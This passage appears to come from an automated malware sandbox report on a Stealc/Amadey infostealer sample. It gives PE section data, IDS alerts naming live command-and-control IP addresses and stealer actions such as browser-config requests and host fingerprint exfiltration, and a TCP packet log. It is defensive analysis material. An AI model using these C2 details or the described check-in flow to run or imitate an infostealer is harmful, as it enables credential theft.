egtbgvgy	0x690000	0x1000	0x400	a18e5f0a4d384d35c8053dd7d733156a	False	0.771484375	data	6.125887975397804	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x691000	0x3000	0x2200	5c827d0dc658581fb0d3ff34d87a0c82	False	0.06364889705882353	DOS executable (COM)	0.6946777929911035	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x68fd64	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-23T19:52:21.020134+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49736	185.215.113.206	80	TCP
2024-11-23T19:52:21.525278+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	49736	185.215.113.206	80	TCP
2024-11-23T19:52:21.822127+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.6	49736	TCP
2024-11-23T19:52:22.142811+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	49736	185.215.113.206	80	TCP
2024-11-23T19:52:22.278072+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.6	49736	TCP
2024-11-23T19:52:23.853880+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	49736	185.215.113.206	80	TCP
2024-11-23T19:52:24.590134+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49736	185.215.113.206	80	TCP
2024-11-23T19:52:50.811484+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49831	185.215.113.206	80	TCP
2024-11-23T19:52:52.998448+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49831	185.215.113.206	80	TCP
2024-11-23T19:52:54.728526+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49831	185.215.113.206	80	TCP
2024-11-23T19:52:56.166710+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49831	185.215.113.206	80	TCP
2024-11-23T19:53:00.023821+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49831	185.215.113.206	80	TCP
2024-11-23T19:53:01.254234+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49831	185.215.113.206	80	TCP
2024-11-23T19:53:07.666148+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49953	185.215.113.16	80	TCP
2024-11-23T19:54:05.142815+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	50102	185.215.113.43	80	TCP
2024-11-23T19:54:09.778686+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50114	31.41.244.11	80	TCP
2024-11-23T19:54:09.778686+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	50114	31.41.244.11	80	TCP
2024-11-23T19:54:15.776995+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	50109	TCP
2024-11-23T19:54:17.132319+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50128	185.215.113.43	80	TCP
2024-11-23T19:54:18.700390+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50133	31.41.244.11	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 23, 2024 19:52:06.402091026 CET	49713	443	192.168.2.6	20.198.119.143
Nov 23, 2024 19:52:06.559489012 CET	443	49713	20.198.119.143	192.168.2.6
Nov 23, 2024 19:52:06.560539961 CET	49713	443	192.168.2.6	20.198.119.143
Nov 23, 2024 19:52:06.684933901 CET	443	49713	20.198.119.143	192.168.2.6
Nov 23, 2024 19:52:06.808485985 CET	49673	443	192.168.2.6	173.222.162.64
Nov 23, 2024 19:52:06.808490038 CET	49674	443	192.168.2.6	173.222.162.64
Nov 23, 2024 19:52:07.115232944 CET	443	49713	20.198.119.143	192.168.2.6
Nov 23, 2024 19:52:07.167794943 CET	49713	443	192.168.2.6	20.198.119.143
Nov 23, 2024 19:52:07.308387041 CET	49672	443	192.168.2.6	173.222.162.64
Nov 23, 2024 19:52:08.748631001 CET	49714	443	192.168.2.6	20.198.119.143
Nov 23, 2024 19:52:08.748707056 CET	443	49714	20.198.119.143	192.168.2.6
Nov 23, 2024 19:52:08.748792887 CET	49714	443	192.168.2.6	20.198.119.143
Nov 23, 2024 19:52:08.749409914 CET	49714	443	192.168.2.6	20.198.119.143
Nov 23, 2024 19:52:08.749428988 CET	443	49714	20.198.119.143	192.168.2.6
Nov 23, 2024 19:52:10.654160976 CET	49712	443	192.168.2.6	40.126.53.17
Nov 23, 2024 19:52:10.654220104 CET	49712	443	192.168.2.6	40.126.53.17
Nov 23, 2024 19:52:10.655157089 CET	49715	443	192.168.2.6	40.126.53.17
Nov 23, 2024 19:52:10.655226946 CET	443	49715	40.126.53.17	192.168.2.6
Nov 23, 2024 19:52:10.655319929 CET	49715	443	192.168.2.6	40.126.53.17
Nov 23, 2024 19:52:10.655457973 CET	49715	443	192.168.2.6	40.126.53.17
Nov 23, 2024 19:52:10.655478001 CET	443	49715	40.126.53.17	192.168.2.6
Nov 23, 2024 19:52:10.663079977 CET	49716	443	192.168.2.6	40.126.53.17
Nov 23, 2024 19:52:10.663137913 CET	443	49716	40.126.53.17	192.168.2.6
Nov 23, 2024 19:52:10.663238049 CET	49716	443	192.168.2.6	40.126.53.17
Nov 23, 2024 19:52:10.663382053 CET	49716	443	192.168.2.6	40.126.53.17
Nov 23, 2024 19:52:10.663393974 CET	443	49716	40.126.53.17	192.168.2.6
Nov 23, 2024 19:52:10.775559902 CET	443	49712	40.126.53.17	192.168.2.6
Nov 23, 2024 19:52:10.775631905 CET	443	49712	40.126.53.17	192.168.2.6
Nov 23, 2024 19:52:10.775681019 CET	443	49712	40.126.53.17	192.168.2.6
Nov 23, 2024 19:52:10.775721073 CET	443	49712	40.126.53.17	192.168.2.6
Nov 23, 2024 19:52:10.775755882 CET	443	49712	40.126.53.17	192.168.2.6
Nov 23, 2024 19:52:11.272173882 CET	443	49714	20.198.119.143	192.168.2.6
Nov 23, 2024 19:52:11.272416115 CET	49714	443	192.168.2.6	20.198.119.143
Nov 23, 2024 19:52:11.277755022 CET	49714	443	192.168.2.6	20.198.119.143
Nov 23, 2024 19:52:11.277774096 CET	443	49714	20.198.119.143	192.168.2.6
Nov 23, 2024 19:52:11.278117895 CET	443	49714	20.198.119.143	192.168.2.6
Nov 23, 2024 19:52:11.279139996 CET	443	49712	40.126.53.17	192.168.2.6
Nov 23, 2024 19:52:11.279520988 CET	443	49712	40.126.53.17	192.168.2.6
Nov 23, 2024 19:52:11.280262947 CET	49714	443	192.168.2.6	20.198.119.143
Nov 23, 2024 19:52:11.280311108 CET	49712	443	192.168.2.6	40.126.53.17
Nov 23, 2024 19:52:11.280472040 CET	49714	443	192.168.2.6	20.198.119.143
Nov 23, 2024 19:52:11.280482054 CET	443	49714	20.198.119.143	192.168.2.6
Nov 23, 2024 19:52:11.280678034 CET	49714	443	192.168.2.6	20.198.119.143
Nov 23, 2024 19:52:11.283045053 CET	443	49712	40.126.53.17	192.168.2.6
Nov 23, 2024 19:52:11.283170938 CET	443	49712	40.126.53.17	192.168.2.6
Nov 23, 2024 19:52:11.283231020 CET	49712	443	192.168.2.6	40.126.53.17
Nov 23, 2024 19:52:11.291450977 CET	443	49712	40.126.53.17	192.168.2.6
Nov 23, 2024 19:52:11.291553020 CET	443	49712	40.126.53.17	192.168.2.6
Nov 23, 2024 19:52:11.291608095 CET	49712	443	192.168.2.6	40.126.53.17
Nov 23, 2024 19:52:11.299911976 CET	443	49712	40.126.53.17	192.168.2.6
Nov 23, 2024 19:52:11.300030947 CET	443	49712	40.126.53.17	192.168.2.6
Nov 23, 2024 19:52:11.300075054 CET	49712	443	192.168.2.6	40.126.53.17
Nov 23, 2024 19:52:11.308348894 CET	443	49712	40.126.53.17	192.168.2.6
Nov 23, 2024 19:52:11.308428049 CET	443	49712	40.126.53.17	192.168.2.6
Nov 23, 2024 19:52:11.308496952 CET	49712	443	192.168.2.6	40.126.53.17
Nov 23, 2024 19:52:11.327336073 CET	443	49714	20.198.119.143	192.168.2.6
Nov 23, 2024 19:52:11.575795889 CET	49717	443	192.168.2.6	20.199.58.43
Nov 23, 2024 19:52:11.575896025 CET	443	49717	20.199.58.43	192.168.2.6
Nov 23, 2024 19:52:11.576150894 CET	49717	443	192.168.2.6	20.199.58.43
Nov 23, 2024 19:52:11.578064919 CET	49717	443	192.168.2.6	20.199.58.43
Nov 23, 2024 19:52:11.578087091 CET	443	49717	20.199.58.43	192.168.2.6
Nov 23, 2024 19:52:11.961369038 CET	443	49714	20.198.119.143	192.168.2.6
Nov 23, 2024 19:52:11.961743116 CET	443	49714	20.198.119.143	192.168.2.6
Nov 23, 2024 19:52:11.961823940 CET	49714	443	192.168.2.6	20.198.119.143
Nov 23, 2024 19:52:11.961998940 CET	49714	443	192.168.2.6	20.198.119.143
Nov 23, 2024 19:52:11.962023973 CET	443	49714	20.198.119.143	192.168.2.6
Nov 23, 2024 19:52:12.449254036 CET	49718	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:12.449348927 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:12.449446917 CET	49718	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:12.449799061 CET	49718	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:12.449831963 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:12.657865047 CET	443	49715	40.126.53.17	192.168.2.6
Nov 23, 2024 19:52:12.657953024 CET	49715	443	192.168.2.6	40.126.53.17
Nov 23, 2024 19:52:12.667114973 CET	443	49716	40.126.53.17	192.168.2.6
Nov 23, 2024 19:52:12.667218924 CET	49716	443	192.168.2.6	40.126.53.17
Nov 23, 2024 19:52:12.745810032 CET	49715	443	192.168.2.6	40.126.53.17
Nov 23, 2024 19:52:12.745851040 CET	443	49715	40.126.53.17	192.168.2.6
Nov 23, 2024 19:52:12.746001005 CET	49716	443	192.168.2.6	40.126.53.17
Nov 23, 2024 19:52:12.746035099 CET	443	49716	40.126.53.17	192.168.2.6
Nov 23, 2024 19:52:12.746229887 CET	443	49715	40.126.53.17	192.168.2.6
Nov 23, 2024 19:52:12.746325016 CET	443	49716	40.126.53.17	192.168.2.6
Nov 23, 2024 19:52:12.746984959 CET	49715	443	192.168.2.6	40.126.53.17
Nov 23, 2024 19:52:12.747021914 CET	49715	443	192.168.2.6	40.126.53.17
Nov 23, 2024 19:52:12.747066975 CET	443	49715	40.126.53.17	192.168.2.6
Nov 23, 2024 19:52:12.747306108 CET	49716	443	192.168.2.6	40.126.53.17
Nov 23, 2024 19:52:12.747390032 CET	49716	443	192.168.2.6	40.126.53.17
Nov 23, 2024 19:52:12.747431040 CET	443	49716	40.126.53.17	192.168.2.6
Nov 23, 2024 19:52:13.486175060 CET	443	49715	40.126.53.17	192.168.2.6
Nov 23, 2024 19:52:13.486202955 CET	443	49715	40.126.53.17	192.168.2.6
Nov 23, 2024 19:52:13.486255884 CET	443	49715	40.126.53.17	192.168.2.6
Nov 23, 2024 19:52:13.486264944 CET	49715	443	192.168.2.6	40.126.53.17
Nov 23, 2024 19:52:13.486291885 CET	443	49715	40.126.53.17	192.168.2.6
Nov 23, 2024 19:52:13.486308098 CET	49715	443	192.168.2.6	40.126.53.17
Nov 23, 2024 19:52:13.486609936 CET	49715	443	192.168.2.6	40.126.53.17
Nov 23, 2024 19:52:13.486609936 CET	49715	443	192.168.2.6	40.126.53.17
Nov 23, 2024 19:52:13.486807108 CET	443	49715	40.126.53.17	192.168.2.6
Nov 23, 2024 19:52:13.486841917 CET	443	49715	40.126.53.17	192.168.2.6
Nov 23, 2024 19:52:13.486886978 CET	49715	443	192.168.2.6	40.126.53.17
Nov 23, 2024 19:52:13.493593931 CET	443	49717	20.199.58.43	192.168.2.6
Nov 23, 2024 19:52:13.493675947 CET	49717	443	192.168.2.6	20.199.58.43
Nov 23, 2024 19:52:13.515064001 CET	49719	443	192.168.2.6	20.199.58.43
Nov 23, 2024 19:52:13.515110016 CET	443	49719	20.199.58.43	192.168.2.6
Nov 23, 2024 19:52:13.515165091 CET	49719	443	192.168.2.6	20.199.58.43
Nov 23, 2024 19:52:13.515666962 CET	49719	443	192.168.2.6	20.199.58.43
Nov 23, 2024 19:52:13.515683889 CET	443	49719	20.199.58.43	192.168.2.6
Nov 23, 2024 19:52:13.538712978 CET	49717	443	192.168.2.6	20.199.58.43
Nov 23, 2024 19:52:13.538731098 CET	443	49717	20.199.58.43	192.168.2.6
Nov 23, 2024 19:52:13.539165974 CET	443	49717	20.199.58.43	192.168.2.6
Nov 23, 2024 19:52:13.539256096 CET	49717	443	192.168.2.6	20.199.58.43
Nov 23, 2024 19:52:13.540477991 CET	49717	443	192.168.2.6	20.199.58.43
Nov 23, 2024 19:52:13.540512085 CET	443	49717	20.199.58.43	192.168.2.6
Nov 23, 2024 19:52:13.676721096 CET	443	49716	40.126.53.17	192.168.2.6
Nov 23, 2024 19:52:13.676778078 CET	443	49716	40.126.53.17	192.168.2.6
Nov 23, 2024 19:52:13.676814079 CET	443	49716	40.126.53.17	192.168.2.6
Nov 23, 2024 19:52:13.676866055 CET	49716	443	192.168.2.6	40.126.53.17
Nov 23, 2024 19:52:13.676904917 CET	443	49716	40.126.53.17	192.168.2.6
Nov 23, 2024 19:52:13.676923037 CET	49716	443	192.168.2.6	40.126.53.17
Nov 23, 2024 19:52:13.676933050 CET	443	49716	40.126.53.17	192.168.2.6
Nov 23, 2024 19:52:13.676974058 CET	49716	443	192.168.2.6	40.126.53.17
Nov 23, 2024 19:52:13.677249908 CET	49716	443	192.168.2.6	40.126.53.17
Nov 23, 2024 19:52:13.677273035 CET	443	49716	40.126.53.17	192.168.2.6
Nov 23, 2024 19:52:13.677289009 CET	49716	443	192.168.2.6	40.126.53.17
Nov 23, 2024 19:52:13.677295923 CET	443	49716	40.126.53.17	192.168.2.6
Nov 23, 2024 19:52:13.706414938 CET	49720	443	192.168.2.6	20.199.58.43
Nov 23, 2024 19:52:13.706471920 CET	443	49720	20.199.58.43	192.168.2.6
Nov 23, 2024 19:52:13.706671000 CET	49720	443	192.168.2.6	20.199.58.43
Nov 23, 2024 19:52:13.706954002 CET	49720	443	192.168.2.6	20.199.58.43
Nov 23, 2024 19:52:13.706974030 CET	443	49720	20.199.58.43	192.168.2.6
Nov 23, 2024 19:52:14.334284067 CET	443	49717	20.199.58.43	192.168.2.6
Nov 23, 2024 19:52:14.334316015 CET	443	49717	20.199.58.43	192.168.2.6
Nov 23, 2024 19:52:14.334335089 CET	443	49717	20.199.58.43	192.168.2.6
Nov 23, 2024 19:52:14.334362030 CET	49717	443	192.168.2.6	20.199.58.43
Nov 23, 2024 19:52:14.334362030 CET	49717	443	192.168.2.6	20.199.58.43
Nov 23, 2024 19:52:14.334384918 CET	443	49717	20.199.58.43	192.168.2.6
Nov 23, 2024 19:52:14.334417105 CET	49717	443	192.168.2.6	20.199.58.43
Nov 23, 2024 19:52:14.334451914 CET	49717	443	192.168.2.6	20.199.58.43
Nov 23, 2024 19:52:14.379530907 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:14.379611969 CET	49718	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:14.392756939 CET	49718	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:14.392776012 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:14.393167973 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:14.433084965 CET	443	49717	20.199.58.43	192.168.2.6
Nov 23, 2024 19:52:14.433176041 CET	49717	443	192.168.2.6	20.199.58.43
Nov 23, 2024 19:52:14.433196068 CET	443	49717	20.199.58.43	192.168.2.6
Nov 23, 2024 19:52:14.433212996 CET	443	49717	20.199.58.43	192.168.2.6
Nov 23, 2024 19:52:14.433401108 CET	49717	443	192.168.2.6	20.199.58.43
Nov 23, 2024 19:52:14.433401108 CET	49717	443	192.168.2.6	20.199.58.43
Nov 23, 2024 19:52:14.433402061 CET	49718	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:14.507181883 CET	49718	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:14.547344923 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:14.938817024 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:14.938847065 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:14.938855886 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:14.938882113 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:14.938903093 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:14.939032078 CET	49718	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:14.939032078 CET	49718	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:14.939054012 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:14.939105988 CET	49718	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:15.124339104 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:15.124366045 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:15.124422073 CET	49718	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:15.124440908 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:15.124469042 CET	49718	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:15.124510050 CET	49718	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:15.152688026 CET	49717	443	192.168.2.6	20.199.58.43
Nov 23, 2024 19:52:15.152714968 CET	443	49717	20.199.58.43	192.168.2.6
Nov 23, 2024 19:52:15.167990923 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:15.168016911 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:15.168076992 CET	49718	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:15.168124914 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:15.168154955 CET	49718	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:15.168178082 CET	49718	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:15.262975931 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:15.262999058 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:15.263083935 CET	49718	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:15.263127089 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:15.263164043 CET	49718	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:15.263189077 CET	49718	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:15.296020031 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:15.296045065 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:15.296104908 CET	49718	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:15.296123981 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:15.296159983 CET	49718	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:15.296199083 CET	49718	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:15.323438883 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:15.323488951 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:15.323538065 CET	49718	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:15.323556900 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:15.323599100 CET	49718	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:15.323620081 CET	49718	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:15.345230103 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:15.345251083 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:15.345308065 CET	49718	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:15.345326900 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:15.345379114 CET	49718	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:15.345380068 CET	49718	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:15.422075033 CET	443	49719	20.199.58.43	192.168.2.6
Nov 23, 2024 19:52:15.422188044 CET	49719	443	192.168.2.6	20.199.58.43
Nov 23, 2024 19:52:15.449688911 CET	49719	443	192.168.2.6	20.199.58.43
Nov 23, 2024 19:52:15.449722052 CET	443	49719	20.199.58.43	192.168.2.6
Nov 23, 2024 19:52:15.449975014 CET	443	49719	20.199.58.43	192.168.2.6
Nov 23, 2024 19:52:15.449986935 CET	49719	443	192.168.2.6	20.199.58.43
Nov 23, 2024 19:52:15.450037003 CET	443	49719	20.199.58.43	192.168.2.6
Nov 23, 2024 19:52:15.450057030 CET	49719	443	192.168.2.6	20.199.58.43
Nov 23, 2024 19:52:15.458898067 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:15.458924055 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:15.459036112 CET	49718	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:15.459105015 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:15.459183931 CET	49718	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:15.478821039 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:15.478840113 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:15.478945017 CET	49718	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:15.478965044 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:15.479022980 CET	49718	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:15.492201090 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:15.492218971 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:15.492321014 CET	49718	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:15.492335081 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:15.492398024 CET	49718	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:15.505075932 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:15.505090952 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:15.505201101 CET	49718	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:15.505213976 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:15.505286932 CET	49718	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:15.516097069 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:15.516112089 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:15.516330004 CET	49718	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:15.516396999 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:15.516463995 CET	49718	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:15.526386023 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:15.526407003 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:15.526509047 CET	49718	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:15.526531935 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:15.526597977 CET	49718	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:15.529616117 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:15.529690981 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:15.529695034 CET	49718	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:15.529752016 CET	49718	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:15.532196999 CET	49718	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:15.532196999 CET	49718	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:15.532234907 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:15.532258987 CET	443	49718	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:15.603547096 CET	49721	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:15.603600025 CET	443	49721	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:15.603708029 CET	49721	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:15.605114937 CET	49722	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:15.605153084 CET	443	49722	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:15.605288029 CET	49722	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:15.605413914 CET	49723	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:15.605424881 CET	443	49723	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:15.605477095 CET	49723	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:15.606837988 CET	49724	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:15.606878996 CET	443	49724	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:15.606954098 CET	49724	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:15.607043982 CET	49723	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:15.607063055 CET	443	49723	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:15.607176065 CET	49721	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:15.607189894 CET	443	49721	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:15.607280970 CET	49724	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:15.607299089 CET	443	49724	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:15.607462883 CET	49722	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:15.607482910 CET	443	49722	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:15.608429909 CET	49725	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:15.608464956 CET	443	49725	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:15.608535051 CET	49725	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:15.608673096 CET	49725	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:15.608690023 CET	443	49725	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:15.637780905 CET	443	49720	20.199.58.43	192.168.2.6
Nov 23, 2024 19:52:15.637882948 CET	49720	443	192.168.2.6	20.199.58.43
Nov 23, 2024 19:52:15.643418074 CET	49720	443	192.168.2.6	20.199.58.43
Nov 23, 2024 19:52:15.643425941 CET	443	49720	20.199.58.43	192.168.2.6
Nov 23, 2024 19:52:15.644392014 CET	49720	443	192.168.2.6	20.199.58.43
Nov 23, 2024 19:52:15.644399881 CET	443	49720	20.199.58.43	192.168.2.6
Nov 23, 2024 19:52:15.854512930 CET	443	49719	20.199.58.43	192.168.2.6
Nov 23, 2024 19:52:15.854536057 CET	443	49719	20.199.58.43	192.168.2.6
Nov 23, 2024 19:52:15.854644060 CET	49719	443	192.168.2.6	20.199.58.43
Nov 23, 2024 19:52:15.854674101 CET	443	49719	20.199.58.43	192.168.2.6
Nov 23, 2024 19:52:15.854703903 CET	49719	443	192.168.2.6	20.199.58.43
Nov 23, 2024 19:52:15.854727030 CET	49719	443	192.168.2.6	20.199.58.43
Nov 23, 2024 19:52:15.861257076 CET	443	49719	20.199.58.43	192.168.2.6
Nov 23, 2024 19:52:15.861310005 CET	443	49719	20.199.58.43	192.168.2.6
Nov 23, 2024 19:52:15.861332893 CET	49719	443	192.168.2.6	20.199.58.43
Nov 23, 2024 19:52:15.861371040 CET	49719	443	192.168.2.6	20.199.58.43
Nov 23, 2024 19:52:15.942454100 CET	49719	443	192.168.2.6	20.199.58.43
Nov 23, 2024 19:52:15.942495108 CET	443	49719	20.199.58.43	192.168.2.6
Nov 23, 2024 19:52:16.367742062 CET	443	49720	20.199.58.43	192.168.2.6
Nov 23, 2024 19:52:16.367791891 CET	443	49720	20.199.58.43	192.168.2.6
Nov 23, 2024 19:52:16.367909908 CET	49720	443	192.168.2.6	20.199.58.43
Nov 23, 2024 19:52:16.367909908 CET	49720	443	192.168.2.6	20.199.58.43
Nov 23, 2024 19:52:16.367948055 CET	443	49720	20.199.58.43	192.168.2.6
Nov 23, 2024 19:52:16.367991924 CET	49720	443	192.168.2.6	20.199.58.43
Nov 23, 2024 19:52:16.368009090 CET	443	49720	20.199.58.43	192.168.2.6
